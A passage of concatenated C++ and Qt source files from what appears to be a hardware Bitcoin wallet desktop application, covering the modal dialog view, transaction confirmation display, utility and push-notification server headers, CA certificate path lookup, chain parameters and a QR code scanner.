connect(this->ui->setDeviceName, SIGNAL(textChanged(const QString&)), this, SLOT(inputCheck(const QString&)));
connect(this->ui->setPasswordOld, SIGNAL(textChanged(const QString&)), this, SLOT(inputCheck(const QString&)));
connect(this->ui->setPasswordNew, SIGNAL(textChanged(const QString&)), this, SLOT(inputCheck(const QString&)));
connect(this->ui->setPasswordRepeat, SIGNAL(textChanged(const QString&)), this, SLOT(inputCheck(const QString&)));
connect(this->ui->setDeviceSubmit, SIGNAL(clicked()), this, SLOT(deviceSubmitProvided()));
connect(this->ui->setDeviceCancel, SIGNAL(clicked()), this, SLOT(deviceCancelProvided()));
connect(this->ui->okButton, SIGNAL(clicked()), this, SLOT(okButtonAction()));
connect(this->ui->showDetailsButton, SIGNAL(clicked()), this, SLOT(detailButtonAction()));
connect(this->ui->abortButton, SIGNAL(clicked()), this, SLOT(twoFACancelPressed()));
connect(this->ui->continueButton, SIGNAL(clicked()), this, SLOT(continuePressed()));
connect(this->ui->upgradeFirmware, SIGNAL(clicked()), this, SLOT(upgradeFirmware()));
ui->qrCodeSequence->useOnDarkBackground(true);
ui->setDeviceSubmit->setFocus();
ui->setDeviceSubmit->setEnabled(false);
visible = false;
}
ModalView::~ModalView()
{
delete ui;
}
void ModalView::setText(const QString& text)
{
ui->modalInfoLabel->setVisible(true);
ui->modalInfoLabelLA->setVisible(true);
ui->modalInfoLabel->setText(text);
}
void ModalView::cleanse()
{
ui->setDeviceName->clear();
ui->setPasswordOld->clear();
ui->setPasswordNew->clear();
ui->setPasswordRepeat->clear();
}
void ModalView::deviceSubmitProvided()
{
if (!ui->setDeviceSubmit->isEnabled())
return;
if (ui->setDeviceNameOnly->isVisible())
emit newDeviceNameAvailable(ui->setDeviceNameOnly->text());
else if (ui->setDeviceName->isVisible())
emit newDeviceNamePasswordAvailable(ui->setPasswordNew->text(), ui->setDeviceName->text());
else
emit newPasswordAvailable(ui->setPasswordNew->text(), ui->setPasswordOld->text());
cleanse();
}
void ModalView::deviceCancelProvided()
{
cleanse();
showOrHide();
}
void ModalView::showOrHide(bool state)
{
if (state)
setGeometry(-this->width(), 0, this->width(), this->height());
QPropertyAnimation* animation = new QPropertyAnimation(this, "pos");
animation->setDuration(300);
animation->setStartValue(this->pos());
animation->setEndValue(QPoint((state ? 0 : -this->width()), 0));
animation->setEasingCurve(QEasingCurve::OutQuad);
// to slide in call
animation->start(QAbstractAnimation::DeleteWhenStopped);
visible = state;
emit modalViewWillShowHide(false);
}
void ModalView::setDeviceHideAll()
{
ui->setDeviceNameOnly->clear();
ui->setDeviceName->clear();
ui->setPasswordOld->clear();
ui->setPasswordNew->clear();
ui->setPasswordRepeat->clear();
ui->setDeviceWarning->clear();
ui->modalInfoLabel->clear();
ui->modalInfoLabelLA->clear();
ui->abortButton->setVisible(false);
ui->continueButton->setVisible(false);
ui->upgradeFirmware->setVisible(false);
ui->upgradeFirmware->setVisible(false);
ui->qrCodeSequence->setVisible(false);
ui->showDetailsButton->setVisible(false);
ui->infoLabel->setVisible(false);
ui->stepsLabel->setVisible(false);
ui->okButton->setVisible(false);
ui->setDeviceWidget->setVisible(false);
ui->setPasswordOld->setVisible(false);
ui->setPasswordNew->setVisible(false);
ui->setPasswordRepeat->setVisible(false);
ui->uninizializedInfoLabel->setVisible(false);
ui->setDeviceName->setVisible(false);
ui->modalInfoLabel->setVisible(false);
ui->modalInfoLabelLA->setVisible(false);
ui->modalIcon->setIcon(QIcon());
ui->setDeviceNameOnly->setVisible(false);
ui->setDevicePasswordInfo->setVisible(false);
}
void ModalView::showSetNewWallet()
{
setDeviceHideAll();
showOrHide(true);
ui->setDeviceWidget->setVisible(true);
ui->uninizializedInfoLabel->setVisible(true);
ui->setDeviceName->setVisible(true);
ui->setPasswordNew->setVisible(true);
ui->setPasswordNew->setPlaceholderText("Password");
ui->setPasswordRepeat->setVisible(true);
ui->setDevicePasswordInfo->setVisible(true);
ui->setDeviceName->setFocus();
ui->setDeviceSubmit->setEnabled(false);
ui->setDeviceCancel->setVisible(false);
}
void ModalView::showSetPassword()
{
setDeviceHideAll();
showOrHide(true);
ui->setDeviceWidget->setVisible(true);
ui->setPasswordOld->setVisible(true);
ui->setPasswordNew->setVisible(true);
ui->setPasswordNew->setPlaceholderText("<PASSWORD>");
ui->setPasswordRepeat->setVisible(true);
ui->setDevicePasswordInfo->setVisible(true);
ui->setPasswordOld->setFocus();
ui->setDeviceSubmit->setEnabled(false);
ui->setDeviceCancel->setVisible(true);
}
void ModalView::showSetDeviceNameCreate()
{
setDeviceHideAll();
showOrHide(true);
ui->setDeviceWidget->setVisible(true);
ui->setDeviceNameOnly->setVisible(true);
ui->setDeviceNameOnly->setFocus();
ui->setDeviceSubmit->setEnabled(false);
}
void ModalView::showModalInfo(const QString &info, int helpType)
{
setDeviceHideAll();
showOrHide(true);
ui->modalInfoLabel->setVisible(true);
ui->modalInfoLabelLA->setVisible(true);
ui->modalInfoLabel->setText(info);
QWidget* slide = this;
// setup slide
slide->setGeometry(-slide->width(), 0, slide->width(), slide->height());
if (helpType == DBB_PROCESS_INFOLAYER_STYLE_TOUCHBUTTON)
{
QIcon newIcon;
newIcon.addPixmap(QPixmap(":/icons/touchhelp"), QIcon::Normal);
newIcon.addPixmap(QPixmap(":/icons/touchhelp"), QIcon::Disabled);
ui->modalIcon->setIcon(newIcon);
if (info.isNull() || info.size() == 0)
ui->modalInfoLabel->setText(tr(""));
}
else if (helpType == DBB_PROCESS_INFOLAYER_STYLE_REPLUG)
{
QIcon newIcon;
newIcon.addPixmap(QPixmap(":/icons/touchhelp_replug"), QIcon::Normal);
newIcon.addPixmap(QPixmap(":/icons/touchhelp_replug"), QIcon::Disabled);
ui->modalIcon->setIcon(newIcon);
if (info.isNull() || info.size() == 0)
ui->modalInfoLabel->setText(tr(""));
}
else if (helpType == DBB_PROCESS_INFOLAYER_CONFIRM_WITH_BUTTON || helpType == DBB_PROCESS_INFOLAYER_CONFIRM_WITH_BUTTON_WARNING)
{
if (helpType == DBB_PROCESS_INFOLAYER_CONFIRM_WITH_BUTTON_WARNING)
{
QIcon newIcon;
newIcon.addPixmap(QPixmap(":/icons/modal_warning"), QIcon::Normal);
newIcon.addPixmap(QPixmap(":/icons/modal_warning"), QIcon::Disabled);
ui->modalIcon->setIcon(newIcon);
}
else
ui->modalIcon->setIcon(QIcon());
ui->okButton->setVisible(true);
ui->okButton->setFocus();
}
else if (helpType == DBB_PROCESS_INFOLAYER_UPGRADE_FIRMWARE)
{
ui->upgradeFirmware->setVisible(true);
ui->upgradeFirmware->setFocus();
}
else
{
ui->modalIcon->setIcon(QIcon());
}
// then a animation:
QPropertyAnimation* animation = new QPropertyAnimation(slide, "pos");
animation->setDuration(300);
animation->setStartValue(slide->pos());
animation->setEndValue(QPoint(0, 0));
animation->setEasingCurve(QEasingCurve::OutQuad);
// to slide in call
animation->start(QAbstractAnimation::DeleteWhenStopped);
emit modalViewWillShowHide(true);
}
void ModalView::showTransactionVerification(bool twoFAlocked, bool showQRSqeuence, int step, int steps)
{
QString longString;
longString += "Sending: ";
UniValue amountUni = find_value(txData, "amount");
if (amountUni.isNum())
{
longString += "<strong>"+QString::fromStdString(DBB::formatMoney(amountUni.get_int64()))+"</strong><br />";
}
UniValue toAddressUni = find_value(txData, "toAddress");
if (!toAddressUni.isStr())
{
// try to get the address from the outputs
UniValue outputs = find_value(txData, "outputs");
if (outputs.isArray()) {
toAddressUni = find_value(outputs[0], "toAddress");
}
}
if (toAddressUni.isStr())
{
longString += "to <strong>"+QString::fromStdString(toAddressUni.get_str())+"</strong><br />";
}
UniValue feeUni = find_value(txData, "fee");
if (feeUni.isNum())
{
longString += "Additional Fee: " + QString::fromStdString(DBB::formatMoney(feeUni.get_int64()));
longString += "<br />-----------------------<br /><strong>Total: " + QString::fromStdString(DBB::formatMoney(amountUni.get_int64()+feeUni.get_int64())) + "</strong>";
}
showModalInfo("", DBB_PROCESS_INFOLAYER_STYLE_TOUCHBUTTON);
ui->modalInfoLabelLA->setText(longString);
ui->abortButton->setVisible(twoFAlocked);
ui->qrCodeSequence->setData(txEcho);
ui->modalInfoLabel->setVisible(true);
ui->modalInfoLabelLA->setVisible(true);
ui->showDetailsButton->setText(tr("Show Verification QR Codes"));
if (steps > 1) {
ui->showDetailsButton->setVisible(false);
ui->infoLabel->setVisible(true);
ui->stepsLabel->setVisible(true);
ui->infoLabel->setText(tr("Signing large transaction. Please be patient..."));
ui->stepsLabel->setText(tr("<strong>Touch %1 of %2</strong>").arg(QString::number(step), QString::number(steps)));
}
ui->modalIcon->setVisible(true);
if (showQRSqeuence && steps == 1) {
ui->showDetailsButton->setVisible(true);
// ui->continueButton->setVisible(true);
// setQrCodeVisibility(true);
// ui->modalIcon->setVisible(false);
// ui->showDetailsButton->setVisible(false);
}
if (twoFAlocked) {
//ui->continueButton->setVisible(true);
QIcon newIcon;
newIcon.addPixmap(QPixmap(":/icons/touchhelp_smartverification"), QIcon::Normal);
newIcon.addPixmap(QPixmap(":/icons/touchhelp_smartverification"), QIcon::Disabled);
updateIcon(newIcon);
}
}
void ModalView::detailButtonAction()
{
setQrCodeVisibility(!ui->qrCodeSequence->isVisible());
}
void ModalView::setQrCodeVisibility(bool state)
{
if (!state)
{
ui->showDetailsButton->setText(tr("Show Verification QR Codes"));
ui->qrCodeSequence->setVisible(false);
// QIcon newIcon;
// newIcon.addPixmap(QPixmap(txPointer ? ":/icons/touchhelp_smartverification" : ":/icons/touchhelp"), QIcon::Normal);
// newIcon.addPixmap(QPixmap(txPointer ? ":/icons/touchhelp_smartverification" : ":/icons/touchhelp"), QIcon::Disabled);
// ui->modalIcon->setIcon(newIcon);
ui->modalIcon->setVisible(true);
}
else
{
ui->showDetailsButton->setText(tr("Hide Verification Code"));
ui->qrCodeSequence->setVisible(true);
ui->modalIcon->setVisible(false);
}
}
void ModalView::proceedFrom2FAToSigning(const QString &twoFACode)
{
ui->qrCodeSequence->setVisible(false);
ui->abortButton->setVisible(false);
ui->continueButton->setVisible(false);
emit signingShouldProceed(twoFACode, twoFACode.isEmpty() ? NULL : txPointer, txData, txType);
}
void ModalView::twoFACancelPressed()
{
setQrCodeVisibility(false);
ui->abortButton->setVisible(false);
if (txPointer)
{
emit signingShouldProceed(QString(), NULL, txData, txType);
}
}
void ModalView::okButtonAction()
{
showOrHide();
}
void ModalView::setTXVerificationData(void *info, const UniValue& data, const std::string& echo, int type)
{
txPointer = info;
txData = data;
txEcho = echo;
txType = type;
}
void ModalView::clearTXData()
{
txPointer = NULL;
txData = UniValue(UniValue::VNULL);
txEcho.clear();
txType = 0;
}
void ModalView::updateIcon(const QIcon& icon)
{
ui->modalIcon->setIcon(icon);
}
void ModalView::keyPressEvent(QKeyEvent* event)
{
if ((event->key()==Qt::Key_Return) && visible && ui->okButton->isVisible())
showOrHide(false);
}
void ModalView::inputCheck(const QString& sham)
{
if (ui->setDeviceName->isVisible() || ui->setDeviceNameOnly->isVisible()) {
QString name = QString();
if (ui->setDeviceName->isVisible())
name = ui->setDeviceName->text();
else if (ui->setDeviceNameOnly->isVisible())
name = ui->setDeviceNameOnly->text();
if (name.size() < 1)
{
ui->setDeviceWarning->setText(tr("Enter a name"));
ui->setDeviceSubmit->setEnabled(false);
return;
}
QRegExp nameMatcher("^[0-9A-Z-_ ]{1,64}$", Qt::CaseInsensitive);
if (!nameMatcher.exactMatch(name))
{
ui->setDeviceWarning->setText(tr("Name has invalid character"));
ui->setDeviceSubmit->setEnabled(false);
return;
}
}
if (ui->setPasswordOld->isVisible()) {
if (ui->setPasswordOld->text().size() < 1)
{
ui->setDeviceWarning->setText(tr("Enter the old password"));
ui->setDeviceSubmit->setEnabled(false);
return;
}
}
if (ui->setPasswordNew->isVisible()) {
if (ui->setPasswordNew->text().size() < 4)
{
if (ui->setPasswordNew->text().size() > 0)
ui->setDeviceWarning->setText(tr("Password too short"));
ui->setDeviceSubmit->setEnabled(false);
return;
}
if (ui->setPasswordNew->text() != ui->setPasswordRepeat->text())
{
ui->setDeviceSubmit->setEnabled(false);
ui->setDeviceWarning->setText(tr("Password not identical"));
return;
}
}
ui->setDeviceSubmit->setEnabled(true);
ui->setDeviceWarning->setText("");
}
void ModalView::continuePressed()
{
if (txPointer)
{
setQrCodeVisibility(false);
ui->continueButton->setVisible(false);
emit signingShouldProceed("", txPointer, txData, txType);
}
}
void ModalView::upgradeFirmware()
{
emit shouldUpgradeFirmware();
}
<|start_filename|>src/dbb_util.h<|end_filename|>
// Copyright (c) 2015 <NAME>
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#ifndef LIBDBB_UTIL_H
#define LIBDBB_UTIL_H
#include <stdint.h>
#include <string>
#include <map>
#include <memory>
#include <mutex>
#include <vector>
#ifdef WIN32
#include <windows.h>
#include "mingw/mingw.mutex.h"
#include "mingw/mingw.condition_variable.h"
#include "mingw/mingw.thread.h"
#endif
#ifndef _SRC_CONFIG__DBB_CONFIG_H
#include "config/_dbb-config.h"
#endif
namespace DBB
{
#define DEBUG_SHOW_CATEGRORY 1
#ifdef DBB_ENABLE_DEBUG
#define DebugOut(category, format, args...) \
if (DEBUG_SHOW_CATEGRORY) { \
printf(" [DEBUG] %s: ", category); \
} \
printf(format, ##args);
#else
#define DebugOut(category, format, args...)
#endif
#define PrintConsole(format, args...) printf(format, ##args);
//sanitize a string and clean out things which could generate harm over a RPC/JSON/Console output
std::string SanitizeString(const std::string& str);
extern std::map<std::string, std::string> mapArgs;
extern std::map<std::string, std::vector<std::string> > mapMultiArgs;
void ParseParameters(int argc, const char* const argv[]);
std::string GetArg(const std::string& strArg, const std::string& strDefault);
std::string HexStr(unsigned char* itbegin, unsigned char* itend, bool fSpaces=false);
std::vector<unsigned char> ParseHex(const char* psz);
std::vector<unsigned char> ParseHex(const std::string& str);
signed char HexDigit(char c);
std::vector<std::string> &split(const std::string &s, char delim, std::vector<std::string> &elems);
std::vector<std::string> split(const std::string &s, char delim);
template<typename ... Args>
std::string string_format( const std::string& format, Args ... args )
{
size_t size = std::snprintf( nullptr, 0, format.c_str(), args ... ) + 1; // Extra space for '\0'
std::unique_ptr<char[]> buf( new char[ size ] );
std::snprintf( buf.get(), size, format.c_str(), args ... );
return std::string( buf.get(), buf.get() + size - 1 ); // We don't want the '\0' inside
}
std::string formatMoney(const int64_t &n);
bool ParseMoney(const std::string& str, int64_t& nRet);
bool ParseMoney(const char* pszIn, int64_t& nRet);
void strReplace(std::string& str, const std::string& oldStr, const std::string& newStr);
void CreateDir(const char* dir);
std::string GetDefaultDBBDataDir();
int LogPrintStr(const std::string &str);
void OpenDebugLog();
template<typename... Args>
void LogPrint(const std::string &fmt, Args... args )
{
size_t size = std::snprintf( nullptr, 0, fmt.c_str(), args ... ) + 1; // Extra space for '\0'
std::unique_ptr<char[]> buf( new char[ size ] );
std::snprintf( buf.get(), size, fmt.c_str(), args ... );
LogPrintStr(std::string( buf.get(), buf.get() + size - 1 ));
}
template<typename... Args>
void LogPrintDebug(const std::string &fmt, Args... args )
{
if (!DBB::mapArgs.count("-verbosedebug"))
return;
size_t size = std::snprintf( nullptr, 0, fmt.c_str(), args ... ) + 1; // Extra space for '\0'
std::unique_ptr<char[]> buf( new char[ size ] );
std::snprintf( buf.get(), size, fmt.c_str(), args ... );
LogPrintStr(std::string( buf.get(), buf.get() + size - 1 ));
}
std::string putTime( const std::time_t& time, const std::string& format );
}
#endif // LIBDBB_UTIL_H
<|start_filename|>src/qt/signconfirmationdialog.cpp<|end_filename|>
// Copyright (c) 2015 <NAME> / Shift Devices AG
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "signconfirmationdialog.h"
#include "ui/ui_signconfirmationdialog.h"
#include "dbb_util.h"
SignConfirmationDialog::SignConfirmationDialog(QWidget* parent) : QWidget(parent),
ui(new Ui::SignConfirmationDialog)
{
ui->setupUi(this);
//ui->amountLabelKey->setStyleSheet("font-weight: bold;");
//ui->feeLabelKey->setStyleSheet("font-weight: bold;");
ui->smartphoneInfo->setStyleSheet("font-weight: bold; color: rgb(0,0,100);");
ui->titleLabel->setStyleSheet("font-weight:bold; font-size: 20pt;");
}
void SignConfirmationDialog::setData(const UniValue &dataIn)
{
data = dataIn;
QString longString;
longString += "Do you want to send ";
UniValue amountUni = find_value(data, "amount");
if (amountUni.isNum())
{
longString += "<strong>"+QString::fromStdString(DBB::formatMoney(amountUni.get_int64()))+"</strong>";
}
UniValue toAddressUni = find_value(data, "toAddress");
if (toAddressUni.isStr())
{
longString += " to <strong>"+QString::fromStdString(toAddressUni.get_str())+"</strong>";
}
UniValue feeUni = find_value(data, "fee");
if (feeUni.isNum())
{
longString += " with an additional fee of <strong>" + QString::fromStdString(DBB::formatMoney(feeUni.get_int64()))+" BTC</strong>";
}
ui->longTextLabel->setText(longString);
}
SignConfirmationDialog::~SignConfirmationDialog()
{
delete ui;
}
<|start_filename|>src/dbb_comserver.h<|end_filename|>
// Copyright (c) 2015 <NAME>
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#ifndef DBBAPP_COMSERVER_H
#define DBBAPP_COMSERVER_H
#include <atomic>
#include <chrono>
#include <condition_variable>
#include <functional>
#include <mutex>
#include <thread>
#include <vector>
#include <string>
#include "dbb_netthread.h"
#ifdef WIN32
#include <windows.h>
#include "mingw/mingw.mutex.h"
#include "mingw/mingw.condition_variable.h"
#include "mingw/mingw.thread.h"
#endif
// this class manages push notification from and to the smart verification device
// the push messages will be sent to a proxy server script.
// receiving push messages is done with http long polling.
#define CHANNEL_ID_BASE58_PREFIX 0x91
#define AES_KEY_BASE57_PREFIX 0x56
/*
symetric key and channel ID derivation
channelID = base58check(RIPEMD160(SHA256(pubkey)))
aeskey = sha256_hmac(key="DBBAesKey", encryption_ec_private_key)
*/
class DBBComServer
{
private:
DBBNetThread* longPollThread; //!< the thread to handle the long polling (will run endless)
std::string comServerURL; //!< the url to call
std::string ca_file; //<!ca_file to use
std::string socks5ProxyURL; //<!socks5 URL or empty for no proxy
std::atomic<bool> shouldCancel;
/* send a synchronous http request */
bool SendRequest(const std::string& method, const std::string& url, const std::string& args, std::string& responseOut, long& httpcodeOut);
public:
DBBComServer(const std::string& comServerURL);
~DBBComServer();
std::mutex cs_com;
std::string channelID; //!< channel ID (hash of the encryption pubkey)
std::string currentLongPollChannelID; //!< channel ID that is currently in polling
std::string currentLongPollURL; //!< comserver URL that is currently in polling
/* encryption key (32byte ECC key), will be used to derive the AES key and the channel ID */
std::vector<unsigned char> encryptionKey;
// super efficient C callbacks
// watch out! they are calling back on the poll thread!
void (*parseMessageCB)(DBBComServer*, const std::string&, void *);
void *ctx;
long nSequence; //!< current sequence number for outgoing push messages
/* updated depending on response to 'ping' command */
bool mobileAppConnected;
/* change/set the smart verification server URL */
void setURL(const std::string& newUrl) { comServerURL = newUrl; }
/* generates a new encryption key => new AES key, new channel ID */
bool generateNewKey();
/* starts the longPollThread, needs only be done once */
void startLongPollThread();
/* can be called during long poll idle to see if the channelID poll still makes sense */
bool shouldCancelLongPoll();
/* send a push notification to the server */
bool postNotification(const std::string& payload);
/* response the pair data (for QR Code generation)
pair data = base58(channelID) & base58(AES_KEY)
*/
const std::string getPairData();
/* get the base58check encoded aes key */
const std::string getAESKeyBase58();
/* get the channelID */
const std::string getChannelID();
/* set the channelID, will terminate/reinitiate the long poll request */
void setChannelID(const std::string& channelID);
/* get the raw encryption key (for the persistance store) */
const std::vector<unsigned char> getEncryptionKey();
/* set the raw encryption key (32byte ec private key)*/
void setEncryptionKey(const std::vector<unsigned char> encryptionKeyIn);
/* set the parse message callback
will be called whenever a new JSON message is available */
void setParseMessageCB(void (*fpIn)(DBBComServer*, const std::string&, void *), void *ctx);
void setCAFile(const std::string& ca_file);
void setSocks5ProxyURL(const std::string& socksProxy);
};
#endif //DBBAPP_COMSERVER_H
<|start_filename|>src/qt/paymentproposal.h<|end_filename|>
// Copyright (c) 2015 <NAME>
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#ifndef DBB_PAYMENTPROPOSAL_H
#define DBB_PAYMENTPROPOSAL_H
#include <QWidget>
#include <univalue.h>
#include <dbb_wallet.h>
enum ProposalActionType
{
ProposalActionTypeAccept,
ProposalActionTypeReject,
ProposalActionTypeDelete
};
namespace Ui {
class PaymentProposal;
}
class PaymentProposal : public QWidget
{
Q_OBJECT
signals:
void processProposal(DBBWallet *wallet, const QString &tfaCode, const UniValue &proposalData, int actionType);
void shouldDisplayProposal(const UniValue &pendingTxp, const std::string &proposalId);
public slots:
void acceptPressed();
void rejectPressed();
void prevPressed();
void nextPressed();
public:
explicit PaymentProposal(QWidget *parent = 0);
~PaymentProposal();
Ui::PaymentProposal *ui;
void SetData(DBBWallet *walletIn, const std::string copayerID, const UniValue &pendingTxp, const UniValue &data, const std::string &prevID, const std::string &nextID);
private:
UniValue pendingTxp;
UniValue proposalData;
std::string prevProposalID;
std::string nextProposalID;
DBBWallet *wallet;
};
#endif // DBB_PAYMENTPROPOSAL_H
<|start_filename|>src/dbb_ca.cpp<|end_filename|>
// Copyright (c) 2016 <NAME>
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include <string>
#include <cstdio>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
namespace DBB
{
static const char *ca_paths[] = {
"/etc/ssl/certs/ca-certificates.crt", // Debian/Ubuntu/Gentoo etc.
"/etc/ssl/certs/ca-bundle.crt", // Debian/Ubuntu/Gentoo etc.
"/etc/pki/tls/certs/ca-bundle.crt", // Fedora/RHEL
"/etc/ssl/ca-bundle.pem", // OpenSUSE
"/etc/pki/tls/cacert.pem", // OpenELEC
};
inline bool file_exists (const char *name) {
struct stat buffer;
int result = stat(name, &buffer);
return (result == 0);
}
std::string getCAFile()
{
size_t i = 0;
for( i = 0; i < sizeof(ca_paths) / sizeof(ca_paths[0]); i++)
{
if (file_exists(ca_paths[i]))
{
return std::string(ca_paths[i]);
}
}
return "";
}
}
<|start_filename|>src/qt/qrcodesequence.h<|end_filename|>
// Copyright (c) 2015 <NAME>
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#ifndef QRCODESEQUENCE_H
#define QRCODESEQUENCE_H
#define QRCODE_MAX_CHARS 200.0
#define QRCODE_SEQUENCE_HEADER0 "QS"
#include <QWidget>
#include <qrencode.h>
namespace Ui {
class QRCodeSequence;
}
class QRCodeSequence : public QWidget
{
Q_OBJECT
public:
explicit QRCodeSequence(QWidget* parent = 0);
~QRCodeSequence();
void setData(const std::string &data);
public slots:
void nextButton();
void prevButton();
void showPage(int page = 0);
void useOnDarkBackground(bool state);
static void setIconFromQRCode(QRcode *qrcode, QIcon *icon, int width = 240, int height = 240);
private:
Ui::QRCodeSequence *ui;
std::vector<QRcode *>qrcodes;
void removeQRcodes();
int currentPage;
};
#endif // QRCODESEQUENCE_H
<|start_filename|>src/libbtc/include/btc/chain.h<|end_filename|>
/*
The MIT License (MIT)
Copyright (c) 2015 <NAME>
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the "Software"),
to deal in the Software without restriction, including without limitation
the rights to use, copy, modify, merge, publish, distribute, sublicense,
and/or sell copies of the Software, and to permit persons to whom the
Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES
OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE SOFTWARE.
*/
#ifndef __LIBBTC_CHAIN_H__
#define __LIBBTC_CHAIN_H__
#include "btc.h"
#ifdef __cplusplus
extern "C" {
#endif
#include <stdint.h>
#include <sys/types.h>
typedef struct btc_chain {
char chainname[32];
uint8_t b58prefix_pubkey_address;
uint8_t b58prefix_script_address;
uint8_t b58prefix_secret_address; //!private key
uint32_t b58prefix_bip32_privkey;
uint32_t b58prefix_bip32_pubkey;
} btc_chain;
static const btc_chain btc_chain_main = {"main", 0x00, 0x05, 0x80, 0x0488ADE4, 0x0488B21E};
static const btc_chain btc_chain_test = {"testnet3", 0x6f, 0xc4, 0xEF, 0x04358394, 0x043587CF};
#ifdef __cplusplus
}
#endif
#endif //__LIBBTC_CHAIN_H__
<|start_filename|>depends/packages/packages.mk<|end_filename|>
packages:=openssl libevent curl zlib
darwin_packages:=
linux_packages:=eudev libusb
mingw32_packages:=
linux_native_packages := native_gperf
qt_native_packages =
qt_packages = qrencode
qt_linux_packages= qt expat dbus libxcb xcb_proto libXau xproto freetype fontconfig libX11 xextproto libXext xtrans
qt_darwin_packages=qt_mm
qt_mingw32_packages=qt_mm
wallet_packages=
upnp_packages=
darwin_native_packages = native_biplist native_ds_store native_mac_alias
ifneq ($(build_os),darwin)
darwin_native_packages=native_cctools native_cdrkit native_libdmg-hfsplus
endif
<|start_filename|>src/qt/verificationdialog.cpp<|end_filename|>
// Copyright (c) 2015 <NAME> / Shift Devices AG
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "verificationdialog.h"
#include "ui/ui_verificationdialog.h"
VerificationDialog::VerificationDialog(QWidget *parent) :
QDialog(parent),
ui(new Ui::VerificationDialog)
{
ui->setupUi(this);
connect(ui->closeButton, SIGNAL(clicked()), this, SLOT(close()));
}
void VerificationDialog::setData(const QString& title, const QString& detailText, const std::string& qrCodeData)
{
ui->titleLabel->setText(title);
ui->detailTextLabel->setText(detailText);
ui->qrCodeSequence->setData(qrCodeData);
}
VerificationDialog::~VerificationDialog()
{
delete ui;
}
<|start_filename|>src/qt/signconfirmationdialog.h<|end_filename|>
// Copyright (c) 2015 <NAME> / Shift Devices AG
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include <QWidget>
#include <univalue.h>
namespace Ui
{
class SignConfirmationDialog;
}
class SignConfirmationDialog : public QWidget
{
Q_OBJECT
public:
explicit SignConfirmationDialog(QWidget* parent = 0);
~SignConfirmationDialog();
void setData(const UniValue &data);
private:
Ui::SignConfirmationDialog* ui;
UniValue data;
};
<|start_filename|>src/qt/clickablelabel.h<|end_filename|>
// Copyright (c) 2016 <NAME>
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#ifndef DBB_CLICKABLE_LABEL
#define DBB_CLICKABLE_LABEL
#include <QLabel>
class ClickableLabel : public QLabel
{
Q_OBJECT
public:
explicit ClickableLabel(QWidget * parent = 0 );
~ClickableLabel();
signals:
void clicked();
protected:
void mousePressEvent ( QMouseEvent * event ) ;
};
#endif
<|start_filename|>src/qt/qrcodescanner.cpp<|end_filename|>
// Copyright (c) 2016 <NAME>
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "qrcodescanner.h"
#include <QGraphicsView>
#include <QCameraViewfinder>
#include <QtDebug>
#if QT_VERSION >= 0x050300
#include <QCameraInfo>
#endif
#if QT_VERSION >= 0x050500
#include <QCameraViewfinderSettings>
#endif
const static int CAMIMG_WIDTH = 640;
const static int CAMIMG_HEIGHT = 480;
const static int MAX_FPS = 8;
#ifdef Q_OS_WIN
const static bool NEEDS_H_MIRRORING = true;
const static bool NEEDS_V_MIRRORING = false;
#else
const static bool NEEDS_H_MIRRORING = false;
const static bool NEEDS_V_MIRRORING = false;
#endif
void QRCodeScannerThread::setNextImage(const QImage *aImage)
{
mutex.lock();
if (nextImage)
{
delete nextImage;
nextImage = NULL;
}
// copy image to the one-level-queue
nextImage = new QImage(*aImage);
// knock-knock on out thread
imagePresent.wakeAll();
mutex.unlock();
}
void QRCodeScannerThread::run()
{
forever {
mutex.lock();
imagePresent.wait(&mutex);
//copy out image to unlock asap
QImage *image = NULL;
if (nextImage)
{
QImage cImage = nextImage->copy();
image = new QImage(cImage);
}
mutex.unlock();
if (image)
{
//check for QRCode
struct quirc *qr = quirc_new();
if (qr) {
int w, h;
int i, count;
int depth = 4;
if (quirc_resize(qr, image->width(), image->height()) >= 0)
{
uint8_t *scr = quirc_begin(qr, &w, &h);
memset(scr, 0, w*h);
for (int ii = 0; ii < image->height(); ii++) {
unsigned char* scan = (unsigned char *)image->scanLine(ii);
for (int jj = 0; jj < image->width(); jj++) {
QRgb* rgbpixel = reinterpret_cast<QRgb*>(scan + jj*depth);
//*scr = qGray(*rgbpixel);
memset(scr, qGray(*rgbpixel), 1);
scr++;
}
}
quirc_end(qr);
count = quirc_count(qr);
if (count > 0)
{
qWarning("found codes : %d", count);
struct quirc_code code;
struct quirc_data data;
quirc_extract(qr, 0, &code);
quirc_decode_error_t err = quirc_decode(&code, &data);
if (!err)
{
emit QRCodeFound(QString(QLatin1String((const char *)data.payload)));
}
else
qWarning("quirc error : %s", quirc_strerror(err));
}
}
quirc_destroy(qr);
}
delete image; image = 0;
}
}
}
CameraFrameGrabber::CameraFrameGrabber(QObject *parent, QGraphicsPixmapItem *pixmapItemIn) :
QAbstractVideoSurface(parent), pixmapItem(pixmapItemIn)
{
scanThread = new QRCodeScannerThread();
scanThread->start();
qr = quirc_new();
